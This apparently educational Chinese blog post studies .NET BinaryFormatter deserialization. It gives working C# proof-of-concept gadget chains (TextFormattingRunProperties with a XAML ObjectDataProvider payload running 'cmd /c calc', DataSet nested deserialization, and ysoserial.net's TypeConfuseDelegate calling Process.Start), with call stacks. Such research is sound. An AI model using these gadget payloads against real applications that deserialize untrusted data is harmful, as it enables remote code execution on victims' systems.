https://boogipop.com/2024/02/07/%E3%80%90.NET%20%E5%AE%89%E5%85%A8%E3%80%91ASP.NET%20BinaryFormatter%20Deserialization%2003/

https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md

这一篇文章主要讲的是这个BinaryFormatter

BinaryFormatter

这个类其实我们在Dotnet-Deserialization-01的时候就简略的描述过了 他的一些基本参数我们也讲了 序列化的生命周期也讲了 接下来主要讲的就是这个BinderSurrogateSelector

image-20240225172852335

Binder就相当于我们java中的resolveclass 可以用来设置反序列化类的黑名单

SurrogateSelector就是代理器 在01的时候也讲了一下

Binder 过滤器

一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

public class CustomSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
// 在反序列化时,检查类型是否在黑名单中
if (IsTypeInBlacklist(typeName))
{
throw new SerializationException("Deserialization of this type is not allowed.");
}

// 使用默认绑定
return null;
}

private bool IsTypeInBlacklist(string typeName)
{
// 在这里添加黑名单检查的逻辑
// 返回 true 表示在黑名单中,返回 false 表示不在黑名单中
return typeName.Contains("EvilClass");
}
}
[Serializable]
public class EvilClass
{

}

[Serializable]
public class MyClass
{
public string Name { get; set; }
public int Age { get; set; }
public object data;
}

class Program
{
static void Main()
{
// 创建对象实例
MyClass myObject = new MyClass { Name = "John", Age = 25 };
var evilClass = new EvilClass();
myObject.data = evilClass;

// 使用BinaryFormatter进行序列化,并设置自定义的SerializationBinder
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new CustomSerializationBinder();

using (MemoryStream stream = new MemoryStream())
{
formatter.Serialize(stream, myObject);

// 将流位置重置为开始
stream.Seek(0, SeekOrigin.Begin);

try
{
// 使用BinaryFormatter进行反序列化
MyClass deserializedObject = (MyClass)formatter.Deserialize(stream);

// 输出反序列化后的对象属性
Console.WriteLine($"Name: {deserializedObject.Name}, Age: {deserializedObject.Age}");
}
catch (SerializationException ex)
{
// 处理反序列化异常
Console.WriteLine($"Error during deserialization: {ex.Message}");
}
}
}
}

image-20240225173905242

匹配到指定的EvilClass这个类 然后就抛出异常

这个过程和Java反序列化中的Resolveclass顺序是一致的,先读取当前类的类型,再读取成员变量的类型,最后还原成对象。

主要的逻辑就是CustomSerializationBinder类中的BindToType方法

1
2
3
4
5
6
7
8
9
10
11
public override Type BindToType(string assemblyName, string typeName)
{
// 在反序列化时,检查类型是否在黑名单中
if (IsTypeInBlacklist(typeName))
{
throw new SerializationException("Deserialization of this type is not allowed.");
}

// 使用默认绑定
return null;
}

(那个SurrogateSelector 代理器这里就不多写了 不了解的可以去看01的那篇文章 有详细的介绍)

简单来说他的作用就是让本不可以序列化的类可以进行序列化

TextFormattingRunProperties利用链

如果没找到这个类报错的话 我们就得手动导入

image-20240225175352997

image-20240225175918652

这个类是继承于这个ISerializable接口的 然后因为没有使用代理器 等会序列化的时候就会调用我们的GetObjectData方法

image-20240225180052259

跟进这个方法

image-20240225180158967

发现了我们的老朋友 XamlReader.Parse 并且这个str可控 那么我们就能完成RCE了 我们只需要给他的ForegroundBrush或者是BackgroundBrush属性赋值为我们Xaml的payload即可完成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
//这个protected的构造函数必须得写 不然会报错 因为在反序列化的时候要调用他
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}

string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
//在这里设置的TextFormattingRunProperties这个类 因为在序列化的时候优先调用我们自身类的GetObjectData
//然后再调用TextFormattingRunProperties里面的Get方法
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
class Program
{
static void Main(string[] args)
{

string xaml_payload =
"<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>";
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);

using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
Console.ReadKey();
}
}
}

xaml的payload就是Dotnet-Deserialization-02给出的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft
.com/winfx/2006/xaml">
<ObjectDataProvider MethodName="Start" x:Key="a">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="test" S
tandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="calc" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</ResourceDictionary>

image-20240225181630669

调用栈

1
2
3
4
5
6
7
8
TextFormattingRunProperties.GetObjectFromSerializationInfo()
ObjectManager.CompleteISerializableObject()
ObjectManager.FixupSpecialObject()
ObjectManager.DoFixups()
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
Program.Main()

流程

就是我们自己写了个继承于ISerializable接口的类 然后重写了GetObjectData方法 里面对TextFormattingRunProperties类的ForegroundBrush参数进行赋值

DataSet(Binary二次反序列化)

image-20240225182800448

这个类其实也是实现了ISerializable 接口 也是可以实现像上述TextFormattingRunProperties类的操作 先去看起构造方法

image-20240225183109294

其构造方法会进入到DeserializeDataSet这个反序列化函数中 跟进

image-20240225183158408

再跟进DeserializeDataSetSchema函数中去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private void DeserializeDataSetSchema(
SerializationInfo info,
StreamingContext context,
SerializationFormat remotingFormat,
SchemaSerializationMode schemaSerializationMode)
{
if (remotingFormat != SerializationFormat.Xml)
{
if (schemaSerializationMode == SchemaSerializationMode.IncludeSchema)
{
this.DeserializeDataSetProperties(info, context);
int int32 = info.GetInt32("DataSet.Tables.Count");
for (int index = 0; index < int32; ++index)
{
MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]
{
(object) index
}), typeof (byte[])));
serializationStream.Position = 0L;
this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));
}
for (int index = 0; index < int32; ++index)
this.Tables[index].DeserializeConstraints(info, context, index, true);
this.DeserializeRelations(info, context);
for (int index = 0; index < int32; ++index)
this.Tables[index].DeserializeExpressionColumns(info, context, index);
}
else
this.DeserializeDataSetProperties(info, context);
}
else
{
string s = (string) info.GetValue("XmlSchema", typeof (string));
if (s == null)
return;
this.ReadXmlSchema((XmlReader) new XmlTextReader((TextReader) new StringReader(s)), true);
}
}
1
this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));

主要是这行代码进行了Binary二进制反序列化

image-20240225183528131

然后我们就只关注这个serializationStream参数是在哪传入的就行了 我们将第一次的序列化流给其赋值就行了

1
MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]

它来自DataSet.Tables_0的值,那我们在序列化的时候给他赋值为TextFormattingRunProperties的二进制bytes流即可,但是我们也需要给其他属性赋值,否则无法正常反序列化

1
2
3
4
5
6
7
8
9
10
11
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);

这些值是再yoserial中查看到的 就是得给这些值赋值才行 不然会反序列化失败

image-20240225183842031

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;

namespace DonNET_Deserialization
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}

string _xaml;

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}

public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}

public class TextFormattingPropersGadgets
{
public TextFormattingPropersGadgets()
{
}

public static byte[] GetTextFormattingPropersBytes()
{
string xaml_payload =
"<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>";
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);

using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
return memoryStream.ToArray();
}
}
}
[Serializable]
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}

public void SetFakeTable(byte[] bfPayload)
{
_fakeTable = bfPayload;
}
}

public class DatasetGadgets
{
public static void Main(string[] args)
{
var textFormattingPropersBytes = TextFormattingPropersGadgets.GetTextFormattingPropersBytes();
var dataSetMarshal = new DataSetMarshal();
dataSetMarshal.SetFakeTable(textFormattingPropersBytes);
using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, dataSetMarshal);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
}
}

}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
new TextFormattingRunProperties() 
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject() [2]
ObjectManager.FixupSpecialObject() [2]
ObjectManager.DoFixups() [2]
ObjectReader.Deserialize() [2]
BinaryFormatter.Deserialize() [2]
DataSet.DeserializeDataSetSchema()
new DataSet()
new DataSet()
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject() [1]
ObjectManager.FixupSpecialObject() [1]
ObjectManager.DoFixups() [1]
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
DatasetGadgets.Main()

TypeConfuseDelegate

TypeConfuseDelegate中文翻译过来叫类型混淆委托。那么学习这条链之前必须要了解什么是委托。 其并不是一个类

委托

其实是跟java的动态代理是差不多意思的

给个委派的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Program
{
public delegate void MyDelegate(string s);

public static void PrintString(string s)
{
Console.WriteLine(s);
}
static void Main(string[] args)
{
MyDelegate myDelegate = new MyDelegate(PrintString);
myDelegate("hello from delegate");
}
}

image-20240226094829689

需要注意的是传递给委托的方法签名必须和定义的委托签名一致,即返回值、参数一致(参数类型和数量一致)。

通过new MyDelegate(PrintString)将PrintString的引用赋值给myDelegate,然后使用myDelegate(“hello from delegate”)传递参数。myDelegate持有对PrintString的引用。

多播委托

多播委托则是持有对委托列表的引用,把多播委托想象成一个列表,将委托的方法加入列表中,多播委托会按顺序依次调用每个委托。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

namespace DonNET_Deserialization;

class Program
{
public delegate void MyDelegate(string s);

public static void PrintString(string s)
{
Console.WriteLine($"print {s} to screen.");
}
public static void WriteToFile(string s)
{
Console.WriteLine($"write {s} to file.");
}
static void Main(string[] args)
{
MyDelegate myDelegate = new MyDelegate(PrintString);
MyDelegate myDelegate1 = new MyDelegate(WriteToFile);
myDelegate += myDelegate1;
myDelegate("hello");
}
}

image-20240226095215225

image-20240226095231589

其实重点就在于这 是可以进行相加的 把其想象成一个列表 调用的时候会从中依次进行调用

还可以用MulticastDelegate.Combine(printString, writeFile)的形式。(主要是使用这种方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

namespace DonNET_Deserialization;

class Program
{
public delegate void MyDelegate(string s);

public static void PrintString(string s)
{
Console.WriteLine($"print {s} to screen.");
}
public static void WriteToFile(string s)
{
Console.WriteLine($"write {s} to file.");
}
static void Main(string[] args)
{
MyDelegate printString = new MyDelegate(PrintString);
MyDelegate writeFile = new MyDelegate(WriteToFile);
Delegate twoDelegte = MulticastDelegate.Combine(printString, writeFile);
twoDelegte.DynamicInvoke("something"); //调用函数
Delegate[] delegates = twoDelegte.GetInvocationList(); //查看存入列表中的函数
foreach (var item in delegates)
{
Console.WriteLine(item.Method);
}
}
}

image-20240226095516526

SortedSet和Comparer

ysoserial.net中链子的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static object GetXamlGadget(string xaml_payload)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(xaml_payload);
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// We use XamlReader.Parse() to trigger the xaml execution
invoke_list[1] = new Func<string, object>(System.Windows.Markup.XamlReader.Parse);
fi.SetValue(d, invoke_list);
return set;
}

其实看起来和我们上面用到的不太一样

这里是通过SortedSet<T>Comparer进行利用的 接下来介绍一下这两个类

给一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.Collections;
using System.Collections.Generic;

namespace BinaryFormatterSerialize
{
public class ByFileExtension : IComparer<string>
{
string xExt, yExt;

CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();

public int Compare(string x, string y)
{
// Parse the extension from the file name.
xExt = x.Substring(x.LastIndexOf(".") + 1);
yExt = y.Substring(y.LastIndexOf(".") + 1);

// Compare the file extensions.
int vExt = caseiComp.Compare(xExt, yExt);
if (vExt != 0)
{
return vExt;
}
else
{
// The extension is the same,
// so compare the filenames.
return caseiComp.Compare(x, y);
}
}
}
class Program
{
public static void Main(string[] args)
{
var set = new SortedSet<string>(new ByFileExtension());
set.Add("test.c");
set.Add("test.b");
set.Add("test.a");
foreach (var item in set)
{
Console.WriteLine(item.ToString());
}
Console.ReadKey();
}
}
}

// 输出
test.a
test.b
test.c

看懂这个demo的话 就会对我们下面yso链子有更好的理解了

image-20240226100148484

  • 实现了这个IComparer<string>接口
  • 重写了这个Compare函数

image-20240226100353073

然后将我们的ByFileExtension类放入到SortedSet类中 然后set.Add添加值进去比较

那么这个是我们自己手动添加的类和比较器 所以在yso是得自动生成

image-20240226100555050

都是必须得满足这两个条件

Gadgets

会看yso中的构造链

1
2
3
4
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);

跟进Comparison函数

image-20240226101018984

是一个委派函数

image-20240226101347624

这个就是创建了两个Compare函数

image-20240226101415467

Comparer<T>抽象类实现了IComparer<T>接口

image-20240226101439662

那么这个Create就是创建了实现了 IComparer接口 并有两个Compare方法的一个类 并且放入列表中

然后又因为我们委派的是Comparison函数

image-20240226101838201

如果我们将Process.Start设置为比较器,那么向集合中添加的值就是Process.Start的参数,由此来进行命令执行。在委托中我们提到,委托的方法签名和委托必须一致,而对于SortedSet<string>类来说,其比较函数类型为:

1
int Comparison<in T>(T x, T y);

但是而Process.Start()的是:

1
public static Process Start(string fileName, string arguments);

返回类型不一致 一个是Process,一个是int 这样就会导致反序列化失败 那么我们就得借助多播委派来解决这个问题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 创建一个string的比较器
Delegate da = new Comparison<string>(String.Compare);
// 用两个string的比较器合并为一个多播委托(生成两个Compare函数)
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
// Create()函数返回new ComparisonComparer<T>(d) (生成一个类)
IComparer<string> comp = Comparer<string>.Create(d);
// 将ComparisonComparer赋值给SortedSet的比较器
SortedSet<string> set = new SortedSet<string>(comp);
// set.Add("cmd.exe")
set.Add(inputArgs.CmdFileName);
// set.Add("calc")
set.Add(inputArgs.CmdArguments);
// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// 修改_invocationList 添加 Process::Start(string, string) 修改第二个Compare函数为Process.Start
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

那么为什么多播委派能解决这个签名不一致的问题 原作者给出的解释

The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object.

简单来讲就是 多播委托传递的是指针

先在SortedSet中触发OnDeserialization函数 然后调用Add方法

image-20240226103010401

跟进add方法后 发现会多次调用我们的Compare方法 但是Compare方法已经被我们反射修改为Process.Start(string,string)

(准确来说是第二次 因为我们是修改第二个Compare方法)

image-20240226102833194